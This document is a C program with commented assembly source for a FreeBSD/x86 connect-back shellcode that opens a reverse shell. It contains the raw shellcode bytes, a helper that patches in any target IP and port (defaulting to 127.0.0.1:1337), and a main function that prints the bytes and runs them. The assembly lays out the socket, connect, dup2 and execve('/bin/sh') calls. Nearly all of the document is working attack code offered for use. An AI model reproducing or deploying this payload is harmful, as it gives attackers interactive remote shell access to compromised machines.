/* -------------- FreeBSD/x86 - connect back /bin/sh. 81 bytes ---------------- * AUTHOR : Tosh * OS : BSDx86 (Tested on FreeBSD 8.1) * EMAIL : tosh@tuxfamily.org */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> char shellcode [] = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2" "\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89" "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"; void change_shellcode(const char *ip, unsigned short port) { *((unsigned long*)(shellcode + 15)) = inet_addr(ip); *((unsigned short*)(shellcode + 21)) = htons(port); } void print_shellcode(void) { int i; for(i = 0; i < sizeof(shellcode) - 1; i++) { printf("\\x%.2x", (unsigned char)shellcode[i]); } printf("\n"); } int main(void) { const char ip[] = "127.0.0.1"; unsigned short port = 1337; change_shellcode(ip, port); print_shellcode(); printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1); void (*f)() = (void*) shellcode; f(); return 0; } /* ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Syscalls nums, on /usr/src/sys/kern/syscalls.master ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define IPPROTO_TCP 6 %define SOCK_STREAM 1 %define AF_INET 2 %define SYS_EXECV 59 %define SYS_DUP2 90 %define SYS_SOCKET 97 %define SYS_CONNECT 98 section .text global _start _start: xor eax, eax ;;;;;;;;;;;;;;;;;;;;;; ; socket() ;;;;;;;;;;;;;;;;;;;;;; push eax push byte SOCK_STREAM push byte AF_INET mov al, SYS_SOCKET push eax int 0x80 mov edx, eax ;;;;;;;;;;;;;;;;;;;;;; ; sockaddr_in ;;;;;;;;;;;;;;;;;;;;;; push 0x0100007f push word 0x3905 push word 0x0201 mov ecx, esp ;;;;;;;;;;;;;;;;;;;;; ; connect() ;;;;;;;;;;;;;;;;;;;;; push byte 16 push ecx push edx xor eax, eax mov al, SYS_CONNECT push eax int 0x80 ;;;;;;;;;;;;;;;;;;;;; ; dup2() ;;;;;;;;;;;;;;;;;;;;; xor ecx, ecx .L: push ecx push edx xor eax, eax mov al, SYS_DUP2 push eax int 0x80 inc cl cmp cl, 3 jne .L ;;;;;;;;;;;;;;;;;;;;;; ; execv("/bin/sh") ;;;;;;;;;;;;;;;;;;;;;; xor eax, eax push eax push '//sh' push '/bin' mov ebx, esp push eax push esp push ebx mov al, SYS_EXECV push eax int 0x80 */